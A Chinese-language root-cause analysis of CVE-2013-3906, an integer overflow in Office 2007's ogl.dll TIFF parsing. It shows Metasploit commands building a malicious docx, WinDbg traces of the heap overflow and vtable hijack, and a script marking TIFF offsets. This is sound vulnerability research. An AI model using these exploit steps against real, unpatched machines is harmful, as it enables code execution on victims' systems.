CVE-2013-3906漏洞分析
前言
CVE-2013-3906是一個位於ogl.dll內的整數溢位漏洞，這是一個比較經典的整數溢位漏洞，當時是McAfee公司抓到的一個0day。關於這個漏洞還有一些趣聞。這兩天拿這個漏洞練了一下手。下文記錄了我對該漏洞的分析過程，側重於漏洞分析方面，本文對該漏洞用到的堆噴射和利用技巧不做討論，如需瞭解這些請閱讀本文的參考連結。
需要注意的是，在Windows 7+office 2010環境下ogl.dll並不存在，所以該漏洞不影響這一環境。
除錯環境
windows7 x86 + office 2007 sp0(ogl.dll 12.0.4518.1014)
除錯樣本生成自metasploit
msf > search cve-2013-3906
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/mswin_tiff_overflow 2013-11-05 average MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow
msf > use exploit/windows/fileformat/mswin_tiff_overflow
msf exploit(mswin_tiff_overflow) > show options
Module options (exploit/windows/fileformat/mswin_tiff_overflow):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.docx yes The docx file
Exploit target:
Id Name
-- ----
0 Windows XP SP3 with Office Standard 2010
msf exploit(mswin_tiff_overflow) > set payload windows/exec
payload => windows/exec
msf exploit(mswin_tiff_overflow) > show options
Module options (exploit/windows/fileformat/mswin_tiff_overflow):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.docx yes The docx file
Payload options (windows/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
Exploit target:
Id Name
-- ----
0 Windows XP SP3 with Office Standard 2010
msf exploit(mswin_tiff_overflow) > set CMD calc
CMD => calc
msf exploit(mswin_tiff_overflow) > set EXITFUNC thread
EXITFUNC => thread
msf exploit(mswin_tiff_overflow) > set FILENAME cve-2013-3906-msf.docx_
FILENAME => cve-2013-3906-msf.docx_
msf exploit(mswin_tiff_overflow) > exploit
[*] Initializing files...
[*] Packing directory: word
[*] Packing file: word/webSettings.xml
[*] Packing directory: word/media
[*] Packing directory: word/embeddings
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet6.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet4.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet5.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet1.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet3.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet2.xlsx
[*] Packing directory: word/charts
[*] Packing file: word/charts/chart3.xml
[*] Packing file: word/charts/chart4.xml
[*] Packing directory: word/charts/_rels
[*] Packing file: word/charts/_rels/chart5.xml.rels
[*] Packing file: word/charts/_rels/chart2.xml.rels
[*] Packing file: word/charts/_rels/chart1.xml.rels
[*] Packing file: word/charts/_rels/chart4.xml.rels
[*] Packing file: word/charts/_rels/chart6.xml.rels
[*] Packing file: word/charts/_rels/chart3.xml.rels
[*] Packing file: word/charts/chart2.xml
[*] Packing file: word/charts/chart5.xml
[*] Packing file: word/charts/chart6.xml
[*] Packing file: word/charts/chart1.xml
[*] Packing directory: word/theme
[*] Packing file: word/theme/theme1.xml
[*] Packing file: word/settings.xml
[*] Packing file: word/styles.xml
[*] Packing file: word/fontTable.xml
[*] Packing directory: docProps
[*] Packing file: docProps/app.xml
[*] Packing file: docProps/core.xml
[*] Packing directory: _rels
[*] Packing ActiveX controls...
[*] Packing file: [Content_Types].xml
[*] Packing file: /word/media/image1.jpeg
[*] Packing file: /word/document.xml
[*] Packing file: _rels/.rels
[*] Packing file: /word/_rels/document.xml.rels
[+] cve-2013-3906-msf.docx_ stored at /root/.msf4/local/cve-2013-3906-msf.docx_
msf exploit(mswin_tiff_overflow) > exploit
首先用windbg掛上winword.exe，開啟樣本，發生崩潰，崩潰現場如下：
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=001b08c0 ecx=0f5edcf8 edx=00000000 esi=0f5edcf8 edi=001b072c
eip=67bce176 esp=001b0630 ebp=001b0644 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -
OGL!GdipClonePath+0x2a:
67bce176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
0:000> k 100
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
001b0644 6a04288e OGL!GdipClonePath+0x2a
001b0704 6a0b18ed oart!Ordinal1954+0x30e
001b073c 6a0b18bb oart!Ordinal2469+0x4c9
001b0750 6a0b3e40 oart!Ordinal2469+0x497
001b0790 6a07e16f oart!Ordinal725+0x2c
001b07c0 6a0b4590 oart!Ordinal2472+0x131
001b07f0 6a0b3da4 oart!Ordinal6123+0x2cb
001b0804 6a7948b5 oart!Ordinal533+0xa4
001b0854 6a07e092 oart!Ordinal1031+0x724
001b0924 6a07d802 oart!Ordinal2472+0x54
001b0b78 6a07d2e6 oart!Ordinal2552+0x1b2
001b0bc8 6a07be02 oart!Ordinal5854+0xd3
001b0c04 6a07bd8a oart!Ordinal2803+0x23
001b0c10 6356cfc9 oart!Ordinal292+0x30c
001b0d48 63567985 wwlib!DllGetClassObject+0x10837f
...
這明顯是虛表被覆蓋了，在IDA中定位到相關程式碼點如下：
崩潰點位於GdipClonePath函式，我們可以看到這是一處虛擬函式呼叫，正常情況下esi應該是一個物件地址，對紅框處的call語句下斷點：
sxe ld ogl
bp ogl+e176
發現這個函式會被命中很多次，我們在每次命中斷點時看一下eax的值，eax為虛表地址：
0:000> bp ogl+e176 ".printf \"eax=0x%p\\n\", eax; g;"
0:000> g
eax=0x676cab68
...
eax=0x676cab68
eax=0x08080808
Thu Apr 12 17:02:31.953 2018 (GMT+8): (bbc.968): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=00220640 ecx=0dd1dcf8 edx=00000000 esi=0dd1dcf8 edi=002204ac
eip=6768e176 esp=002203b0 ebp=002203c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
OGL!GdipClonePath+0x2a:
6768e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
可以看到直到崩潰發生前的虛表地址都是一個固定值，我們看一下這個虛表內函式指標：
text:0004AB68 off_4AB68 dd offset sub_C95E ; DATA XREF: sub_39E9+Do
.text:0004AB68 ; sub_E6DC+12o ...
.text:0004AB6C dd offset sub_476B
.text:0004AB70 dd offset sub_15858B
.text:0004AB74 dd offset sub_162868
.text:0004AB78 dd offset sub_1627B1
.text:0004AB7C dd offset sub_12E4BE
.text:0004AB80 dd offset sub_3C837
.text:0004AB84 dd offset unknown_libname_2 ; Microsoft VisualC 2-11/net runtime
.text:0004AB88 dd offset sub_6163
.text:0004AB8C dd offset sub_7B44
.text:0004AB90 dd offset sub_72C93
.text:0004AB94 dd offset sub_206AD
.text:0004AB98 dd offset sub_203A1
.text:0004AB9C dd offset sub_ABE4
.text:0004ABA0 dd offset sub_1E480
.text:0004ABA4 dd offset sub_14BEFD
.text:0004ABA8 dd offset sub_14BE97
.text:0004ABAC dd offset sub_145EB1
.text:0004ABB0 dd offset sub_14645A
.text:0004ABB4 dd offset sub_1DF2D
.text:0004ABB8 dd offset sub_45AF
.text:0004ABBC dd offset sub_11A522
上文崩潰處呼叫的是虛表的第二個函式sub_476B，我們看一下這個函式：
這個函式的作用是比較當前物件的第一個成員變數是否等於“htP1”，這是在對該物件的tag進行校驗。
我們再來看一下物件地址(esi)每次的情況：
0:000> bp ogl+e176 ".printf \"esi=0x%p\\n\", esi; g;"
0:000> g
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b8470
esi=0x0f5b86e0
esi=0x0f5b8950
...
esi=0x0f5baa88
esi=0x0c99b638
esi=0x0c99aee8
esi=0x0c99bca0
esi=0x0c99cdb0
esi=0x0c99dcf8
Fri Apr 13 11:06:03.278 2018 (GMT+8): (a2c.b78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=002e0b10 ecx=0c99dcf8 edx=00000000 esi=0c99dcf8 edi=002e097c
eip=6741e176 esp=002e0880 ebp=002e0894 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
OGL!GdipClonePath+0x2a:
6741e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
可以看到物件地址是在發生變化的，不同地址代表每次傳遞給GdipClonePath函式的同一物件的不同例項，我們來看一下最後一個物件的記憶體情況：
0:000> !address 0x0c99dcf8
ProcessParametrs 000a13a8 in range 000a0000 001a0000
Environment 000dc830 in range 000a0000 001a0000
0c990000 : 0c990000 - 00051000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageHeap
Handle 0f5b0000
0:000> dd 0x0c99dcf8
0c99dcf8 08080808 08080808 08080808 08080808
0c99dd08 08080808 08080808 08080808 08080808
0c99dd18 08080808 08080808 08080808 08080808
0c99dd28 08080808 08080808 08080808 08080808
0c99dd38 08080808 08080808 08080808 08080808
0c99dd48 08080808 08080808 08080808 08080808
0c99dd58 08080808 08080808 08080808 08080808
0c99dd68 08080808 08080808 08080808 08080808
可以看到物件位於堆中，而且資料都被覆蓋為了0x08080808，很明顯堆被破壞了。開啟頁堆，看一下堆是在什麼時候被破壞的：
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /p /enable winword.exe /full
...
Thu Apr 12 11:03:20.506 2018 (GMT+8): (f80.bd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=2a66dffc ebx=00000001 ecx=00000521 edx=00000000 esi=2a66cb78 edi=2a670000
eip=6d9d500a esp=001a0738 ebp=001a0740 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR80!memcpy+0x5a:
6d9d500a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> k 100
ChildEBP RetAddr
001a0740 69bb57e6 MSVCR80!memcpy+0x5a
WARNING: Stack unwind information not available. Following frames may be wrong.
001a075c 69b86470 OGL!GdipConvertToEmfPlusToStream+0x14b09
001a077c 69b9f761 OGL!GdipCreateTextureIAI+0x13af9
001a0798 69bdaa48 OGL!GdipMeasureCharacterRanges+0xb3f4
001a07ac 69b6ec13 OGL!GdipGetCellAscent+0x1cca7
001a07c8 69bd980c OGL!GdipEmfToWmfBits+0x140e6
001a07e4 69b07e44 OGL!GdipGetCellAscent+0x1ba6b
001a0864 69b07d2b OGL!GdipGetPointCount+0x1cc
001a0880 69b07b8a OGL!GdipGetPointCount+0xb3
001a0890 69b07aa8 OGL!GdipClosePathFigure+0x28a
001a08ac 69b0742a OGL!GdipClosePathFigure+0x1a8
001a08b8 69b0734e OGL!GdipAddPathLineI+0xc5a
001a08c8 69b03932 OGL!GdipAddPathLineI+0xb7e
001a08dc 6a096a21 OGL!GdipLoadImageFromStreamICM+0x4a
001a090c 6a0967bc oart!Ordinal2867+0x6bc
001a093c 6a095454 oart!Ordinal2867+0x457
001a0998 6a0952fe oart!Ordinal348+0x1e3
001a09dc 6a0952aa oart!Ordinal348+0x8d
001a0a10 6a0a0fea oart!Ordinal348+0x39
001a0a54 6a0a0c72 oart!Ordinal3368+0xd9
...
0:000> !heap -p -a edi
address 2a670000 found in
_DPH_HEAP_ROOT @ 24411000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2ab00068: 2a670000 0 - 2a66f000 2000
ReadMemory error for address 2a670000
6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77805ede ntdll!RtlDebugAllocateHeap+0x00000030
777ca40a ntdll!RtlpAllocateHeap+0x000000c4
77795ae0 ntdll!RtlAllocateHeap+0x0000023a
69b0246c OGL!GdiplusStartup+0x000009c7
69bb57a8 OGL!GdipConvertToEmfPlusToStream+0x00014acb
69b86470 OGL!GdipCreateTextureIAI+0x00013af9
69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4
69bdaa48 OGL!GdipGetCellAscent+0x0001cca7
69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6
69bd980c OGL!GdipGetCellAscent+0x0001ba6b
69b07e44 OGL!GdipGetPointCount+0x000001cc
69b07d2b OGL!GdipGetPointCount+0x000000b3
69b07b8a OGL!GdipClosePathFigure+0x0000028a
69b07aa8 OGL!GdipClosePathFigure+0x000001a8
69b0742a OGL!GdipAddPathLineI+0x00000c5a
69b0734e OGL!GdipAddPathLineI+0x00000b7e
69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a
6a096a21 oart!Ordinal2867+0x000006bc
6a0967bc oart!Ordinal2867+0x00000457
6a095454 oart!Ordinal348+0x000001e3
6a0952fe oart!Ordinal348+0x0000008d
6a0952aa oart!Ordinal348+0x00000039
6a0a0fea oart!Ordinal3368+0x000000d9
6a0a0c72 oart!Ordinal2671+0x000001e4
6a0a0425 oart!Ordinal759+0x00000116
6a84be79 oart!Ordinal3459+0x00000065
6a8c33ea oart!Ordinal2061+0x0000011e
6a097567 oart!Ordinal61+0x00000056
6a0adaaf oart!Ordinal1794+0x00000014
6a8cfa2c oart!Ordinal4418+0x000003d5
6a8cf076 oart!Ordinal6112+0x00000112
0:000> !heap -p -a esi
address 2a66cb78 found in
_DPH_HEAP_ROOT @ 24411000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2ab0009c: 2a66cb78 1484 - 2a66c000 3000
6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77805ede ntdll!RtlDebugAllocateHeap+0x00000030
777ca40a ntdll!RtlpAllocateHeap+0x000000c4
77795ae0 ntdll!RtlAllocateHeap+0x0000023a
69b0246c OGL!GdiplusStartup+0x000009c7
69b8653b OGL!GdipCreateTextureIAI+0x00013bc4
69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4
69bdaa48 OGL!GdipGetCellAscent+0x0001cca7
69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6
69bd980c OGL!GdipGetCellAscent+0x0001ba6b
69b07e44 OGL!GdipGetPointCount+0x000001cc
69b07d2b OGL!GdipGetPointCount+0x000000b3
69b07b8a OGL!GdipClosePathFigure+0x0000028a
69b07aa8 OGL!GdipClosePathFigure+0x000001a8
69b0742a OGL!GdipAddPathLineI+0x00000c5a
69b0734e OGL!GdipAddPathLineI+0x00000b7e
69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a
6a096a21 oart!Ordinal2867+0x000006bc
6a0967bc oart!Ordinal2867+0x00000457
6a095454 oart!Ordinal348+0x000001e3
6a0952fe oart!Ordinal348+0x0000008d
6a0952aa oart!Ordinal348+0x00000039
6a0a0fea oart!Ordinal3368+0x000000d9
6a0a0c72 oart!Ordinal2671+0x000001e4
6a0a0425 oart!Ordinal759+0x00000116
6a84be79 oart!Ordinal3459+0x00000065
6a8c33ea oart!Ordinal2061+0x0000011e
6a097567 oart!Ordinal61+0x00000056
6a0adaaf oart!Ordinal1794+0x00000014
6a8cfa2c oart!Ordinal4418+0x000003d5
6a8cf076 oart!Ordinal6112+0x00000112
6a0a8d11 oart!Ordinal5410+0x00000075
可以看到堆破壞時有一片大小為0x1484的資料被拷貝到一塊大小為0x0的堆空間處，從而發生了堆破壞，通過棧回溯可以看到拷貝發生在sub_B576D函式內：
我們在將拷貝發生處所在的函式( sub_B576D)命名為cve_2013_3906_func，在反彙編檢視下可以更清晰地看到這一過程：
可以看到拷貝的源地址和拷貝大小是作為引數傳入cve_2013_3906_func函式的，拷貝的目的地址為通過一個公式的計算結果而申請的一片堆空間，從上面的除錯結果已經知道目的地址的空間大小為0，懷疑上圖紅框對應的公式在計算AllocLen時發生了整數溢位，我們在在偵錯程式中驗證一下：
對cve_2013_3906_func函式首部下斷點：
bp ogl+b576d
可以看到在公式第一部分的迴圈累加中，迴圈大小(esi)為0x44，第1個累加值為0xffffb898
我們對第0x2-0x44次的累加值進行輸出：
0:000> bp 67c6578d ".printf \"value=0x%p\\n\", poi(edx); g;"
0:000> g
value=0x000000b2
value=0x000000b2
value=0x000000b3
value=0x000000b3
value=0x000000b2
value=0x000000b1
value=0x000000b1
value=0x000000b1
value=0x000000b2
value=0x000000b2
value=0x000000b2
value=0x000000b3
value=0x000000b2
value=0x000000b2
value=0x000000b2
value=0x000000db
value=0x000000b0
value=0x000000b2
value=0x000000b2
value=0x000000bd
value=0x000000e0
value=0x000000e4
value=0x000000e9
value=0x000000fc
value=0x00000102
value=0x000000fb
value=0x000000f0
value=0x000000ef
value=0x00000102
value=0x0000010a
value=0x000000ff
value=0x000000f7
value=0x000000f9
value=0x000000fa
value=0x000000d8
value=0x000000dc
value=0x000000dd
value=0x000000cb
value=0x000000c8
value=0x000000c5
value=0x000000bb
value=0x000000c0
value=0x000000c2
value=0x000000c5
value=0x000000c6
value=0x000000bf
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x00000080
Fri Apr 13 11:48:38.297 2018 (GMT+8): Breakpoint 1 hit
eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00000000 edi=0c8aea50
eip=67c65793 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14ab6:
67c65793 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:00260388=00001484
可以看到此時的累加結果(eax)為0xffffeaec
執行完後面的三句後，累加結果分別如下：
0:000> p
eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c65796 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14ab9:
67c65796 8d444808 lea eax,[eax+ecx*2+8]
0:000> p
eax=ffffeb7c ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c6579a esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14abd:
67c6579a 03c6 add eax,esi
0:000> p
eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c6579c esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200257
OGL!GdipConvertToEmfPlusToStream+0x14abf:
67c6579c 50 push eax
隨後呼叫堆記憶體申請函式時傳入的引數如下：
0:000> p
eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67bb2466 esp=00260360 ebp=0026036c iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200257
OGL!GdiplusStartup+0x9c1:
67bb2466 ff153011bb67 call dword ptr [OGL+0x1130 (67bb1130)] ds:0023:67bb1130={ntdll!RtlAllocateHeap (77792dd6)}
0:000> dd esp l3
00260360 0c8a0000 00000000 00000000
NTSYSAPI PVOID RtlAllocateHeap(
PVOID HeapHandle, // 0c8a0000
ULONG Flags, // 00000000
SIZE_T Size // 00000000 申請大小為0
);
申請完後返回的結果為0d12d9f8，如下：
0:000> p
eax=0d12d9f8 ebx=00000004 ecx=77792fe7 edx=0d120048 esi=00001484 edi=0c8aea50
eip=67bb246c esp=0026036c ebp=0026036c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdiplusStartup+0x9c7:
67bb246c 5d pop ebp
隨後呼叫memcpy
0:000> t
eax=00000001 ebx=00000001 ecx=67cc1b4f edx=0c8a0174 esi=0d12d9f8 edi=0c8aea50
eip=67bb2c9b esp=00260364 ebp=0026037c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
OGL!GdiplusStartup+0x11f6:
67bb2c9b ff251410bb67 jmp dword ptr [OGL+0x1014 (67bb1014)] ds:0023:67bb1014={MSVCR80!memcpy (6d9d4fb0)}
0:000> dd esp l4
00260364 67c657e6 0d12d9f8 0d15ad60 00001484
void *memcpy(
void *dest, // 0d12d9f8
const void *src, // 0d15ad60
size_t n // 00001484
);
對目的地址的記憶體範圍進行檢視，大致可以看到有三種物件，其中虛表為0x676cab68的物件有5個，我們需要確定後面虛表呼叫處用到的是哪一個：
0:000> dds 0d12d9f8 l1484/4
0d12d9f8 00000024
0d12d9fc 3f800000
0d12da00 13055c85
0d12da04 80000000
0d12da08 00000026
...
0d12dcf8 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d
0d12dcfc 68745031*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\Microsoft Shared\office12\2052\MSOINTL.DLL
MSOINTL+0x665031
...
0d12df68 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d
0d12df6c 68745031 MSOINTL+0x665031
...
0d12e928 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d
0d12e92c 68745031 MSOINTL+0x665031
...
0d12eb98 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d
0d12eb9c 68745031 MSOINTL+0x665031
...
0d12ee08 67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d
0d12ee0c 68745031 MSOINTL+0x665031
...
在我的除錯環境中這幾個記憶體位置分別位於距目的地址起始處0x300，0x570，0xF30，0x11a0，0x1410處。在盲測的情況下，可以先對前4個地址下記憶體訪問斷點（因為硬體斷點最多隻能下4個），如果未命中，再重啟windbg對第5個地址下記憶體訪問斷點(如果已經定位到畸形資料位於tiff圖片中，也可以修改相應偏移處的覆蓋資料)，一個修改的指令碼如下所示：
計算在tiff檔案中的偏移：
3544+300=0x3844
3544+570=0x3AB4
3544+F30=0x4474
3544+11a0=0x46e4
3544+1410=0x4954
Python指令碼
tiff_origin_path = "image1.jpeg"
tiff_new_path = "image1.jpeg_new"
with open(tiff_origin_path, "rb") as f_read:
data = f_read.read()
new_data = data[:0x3844] + "\x11\x11\x11\x11" \
+ data[0x3848:0x3AB4] + "\x22\x22\x22\x22" \
+ data[0x3AB8:0x4474] + "\x33\x33\x33\x33" \
+ data[0x4478:0x46e4] + "\x44\x44\x44\x44" \
+ data[0x46e8:0x4954] + "\x55\x55\x55\x55" \
+ data[0x4958:]
with open(tiff_new_path, "wb") as w_read:
w_read.write(new_data)
然後對docx中的相應檔案進行替換即可
從下面的測試日誌可以看到，在我的環境中被覆蓋的虛表是第1個，即AllocAddr偏移為0x300處的位置
0:000> g
Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)
Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)
Thu Apr 12 18:28:06.685 2018 (GMT+8): (dbc.a10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=11111111 ebx=001d07f0 ecx=0ec3dcf8 edx=00000000 esi=0ec3dcf8 edi=001d065c
eip=6702e176 esp=001d0560 ebp=001d0574 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -
OGL!GdipClonePath+0x2a:
6702e176 ff5004 call dword ptr [eax+4] ds:0023:11111115=????????
同時，在開啟頁堆的情況下我們可以獲知該類物件的大小為0x130:
0:000> !heap -p -a esi
address 23a37ed0 found in
_DPH_HEAP_ROOT @ 239f1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
239f18b8: 23a37ed0 130 - 23a37000 2000
? OGL!GdipSetStringFormatDigitSubstitution+129d
6c308e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77805ede ntdll!RtlDebugAllocateHeap+0x00000030
777ca40a ntdll!RtlpAllocateHeap+0x000000c4
77795ae0 ntdll!RtlAllocateHeap+0x0000023a
6768246c OGL!GdiplusStartup+0x000009c7
6768384b OGL!GdipCreatePath+0x0000025c
6a040e84 oart!Ordinal1063+0x00000054
6a086e60 oart!Ordinal653+0x00000028
6a086b4f oart!Ordinal4484+0x00000306
6a086908 oart!Ordinal4484+0x000000bf
6a079f7c oart!Ordinal3230+0x0000022b
6a0783fe oart!Ordinal2668+0x0000021c
6a07821e oart!Ordinal2668+0x0000003c
6a0b4850 oart!Ordinal2660+0x00000080
6a7b67c0 oart!Ordinal5850+0x00000f9c
6a7b667c oart!Ordinal5850+0x00000e58
6a06757d oart!Ordinal3404+0x000002a5
6a0673eb oart!Ordinal3404+0x00000113
6a0672cb oart!Ordinal6309+0x0000000e
6356cfc9 wwlib!DllGetClassObject+0x0010837f
63567985 wwlib!DllGetClassObject+0x00102d3b
635296b9 wwlib!DllGetClassObject+0x000c4a6f
6352571b wwlib!DllGetClassObject+0x000c0ad1
635256b1 wwlib!DllGetClassObject+0x000c0a67
63525395 wwlib!DllGetClassObject+0x000c074b
634f64cb wwlib!DllGetClassObject+0x00091881
634f267c wwlib!DllGetClassObject+0x0008da32
634f0c32 wwlib!DllGetClassObject+0x0008bfe8
634be786 wwlib!DllGetClassObject+0x00059b3c
634bb168 wwlib!DllGetClassObject+0x0005651e
634c00cb wwlib!DllGetClassObject+0x0005b481
634bf54e wwlib!DllGetClassObject+0x0005a904
拷貝前
0:000> ? 0d12d9f8+0x300
Evaluate expression: 219340024 = 0d12dcf8
0:000> dc 0d12dcf8 l130/4
0d12dcf8 67bfab68 68745031 00000000 00000000 h..g1Pth........
0d12dd08 0d12dd1c 0d12dd1c 00000010 00000010 ................
0d12dd18 00000004 81010100 00000000 3f800000 ...............?
0d12dd28 00000000 0d12dd40 0d12dd40 00000010 ....@...@.......
0d12dd38 00000010 00000004 498b86c0 49ca5030 ...........I0P.I
0d12dd48 49902d60 49ca5030 49902d60 49d02078 `-.I0P.I`-.Ix .I
0d12dd58 498b86c0 49d02078 00000000 00000000 ...Ix .I........
0d12dd68 00000000 00000000 00000000 00000000 ................
0d12dd78 00000000 00000000 00000000 00000000 ................
0d12dd88 00000000 00000000 00000000 00000000 ................
0d12dd98 00000000 00000000 00000000 00000000 ................
0d12dda8 00000000 00000000 00000000 00000000 ................
0d12ddb8 00000000 00000000 00000000 00000000 ................
0d12ddc8 00000000 00000001 00000001 ffffffff ................
0d12ddd8 00000000 00000000 00000000 00000000 ................
0d12dde8 00000000 00000000 0d12de04 0d12de04 ................
0d12ddf8 00000003 00000003 00000000 00000000 ................
0d12de08 00000000 00000000 00000000 ffffffff ................
0d12de18 ff00ffff 00000000 00000000 00000000 ................
拷貝後
0:000> dc 0d12dcf8 l130/4
0d12dcf8 08080808 08080808 08080808 08080808 ................
0d12dd08 08080808 08080808 08080808 08080808 ................
0d12dd18 08080808 08080808 08080808 08080808 ................
0d12dd28 08080808 08080808 08080808 08080808 ................
0d12dd38 08080808 08080808 08080808 08080808 ................
0d12dd48 08080808 08080808 08080808 08080808 ................
0d12dd58 08080808 08080808 08080808 08080808 ................
0d12dd68 08080808 08080808 08080808 08080808 ................
0d12dd78 08080808 08080808 08080808 08080808 ................
0d12dd88 08080808 08080808 08080808 08080808 ................
0d12dd98 08080808 08080808 08080808 08080808 ................
0d12dda8 08080808 08080808 08080808 08080808 ................
0d12ddb8 08080808 08080808 08080808 08080808 ................
0d12ddc8 08080808 08080808 08080808 08080808 ................
0d12ddd8 08080808 08080808 08080808 08080808 ................
0d12dde8 08080808 08080808 08080808 08080808 ................
0d12ddf8 08080808 08080808 08080808 08080808 ................
0d12de08 08080808 08080808 08080808 08080808 ................
0d12de18 08080808 08080808 08080808 08080808 ................
對0d12dcf8(dst+0x300)處的地址下記憶體訪問斷點，可以看到命中OGL!GdipClonePath內本文最前面的崩潰處前一句，此時虛表指標(eax)已被覆蓋為0x08080808，隨後eip會被劫持到0x0808080c處。
0:000> ba r4 0d12dcf8
0:000> g
Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)
Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)
Fri Apr 13 12:25:55.395 2018 (GMT+8): Breakpoint 2 hit
eax=08080808 ebx=002608a0 ecx=00260620 edx=00000000 esi=0d12dcf8 edi=0026070c
eip=67bbe174 esp=00260610 ebp=00260624 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
OGL!GdipClonePath+0x28:
67bbe174 8bce mov ecx,esi
0:000> u 67bbe174
